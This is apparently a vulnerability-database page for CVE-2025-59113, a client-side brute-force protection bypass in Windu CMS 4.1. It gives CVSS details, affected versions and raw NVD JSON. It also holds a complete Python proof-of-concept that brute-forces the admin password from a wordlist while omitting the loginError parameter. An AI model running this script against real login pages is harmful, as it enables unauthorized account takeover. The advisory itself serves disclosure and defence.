Security Vulnerability Report
中文
CVE-2025-59113 CVSS 7.5 HIGH

CVE-2025-59113

Published: 2025-11-18 15:16:33
Last Modified: 2025-12-05 13:16:04

Description

Windu CMS implements weak client-side brute-force protection by using parameter loginError. Information about attempt count or timeout is not stored on the server, which allows a malicious attacker to bypass this brute-force protection by resetting this parameter. Only version 4.1 was tested and confirmed as vulnerable. This issue was fixed in version 4.1 build 2250.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:windu:windu_cms:4.1:*:*:*:*:*:*:* - VULNERABLE
Windu CMS 4.1 < 4.1 build 2250

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-59113 PoC - Windu CMS Brute Force Protection Bypass # This PoC demonstrates bypassing client-side brute force protection import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target.com/login" # Replace with actual target USERNAME = "admin" PASSWORD_FILE = "passwords.txt" # Common passwords list def try_login(password): """ Attempt login WITHOUT the loginError parameter This bypasses client-side brute force protection """ data = { 'login': USERNAME, 'password': password # loginError parameter is intentionally omitted to bypass protection } try: response = requests.post(TARGET_URL, data=data, timeout=10) # Check for successful login indicators if 'dashboard' in response.text.lower() or response.status_code == 302: print(f"[!] SUCCESS: Password found: {password}") return True, password else: print(f"[*] Failed: {password}") return False, None except requests.RequestException as e: print(f"[!] Error: {e}") return False, None def main(): print(f"[*] CVE-2025-59113 PoC - Windu CMS Brute Force Bypass") print(f"[*] Target: {TARGET_URL}") print(f"[*] Username: {USERNAME}") try: with open(PASSWORD_FILE, 'r') as f: passwords = [line.strip() for line in f] except FileNotFoundError: print(f"[!] Password file not found: {PASSWORD_FILE}") return print(f"[*] Loaded {len(passwords)} passwords, starting attack...") with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(try_login, pwd): pwd for pwd in passwords} for future in as_completed(futures): success, password = future.result() if success: print(f"\n[!] VULNERABLE: Brute force protection bypassed!") print(f"[!] Valid credentials: {USERNAME}:{password}") executor.shutdown(wait=False) for f in futures: f.cancel() break if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59113", "sourceIdentifier": "[email protected]", "published": "2025-11-18T15:16:33.387", "lastModified": "2025-12-05T13:16:03.673", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windu CMS implements weak client-side brute-force protection by using parameter loginError. Information about attempt count or timeout is not stored on the server, which allows a malicious attacker to bypass this brute-force protection by resetting this parameter.\n\nOnly version 4.1 was tested and confirmed as vulnerable.\nThis issue was fixed in version 4.1 build 2250."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:windu:windu_cms:4.1:*:*:*:*:*:*:*", "matchCriteriaId": "614EBC19-889B-4FC0-8937-C52F415D4835"}]}]}], "references": [{"url": "https://cert.pl/posts/2025/11/CVE-2025-59110", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://windu.org", "source": "[email protected]", "tags": ["Product"]}]}}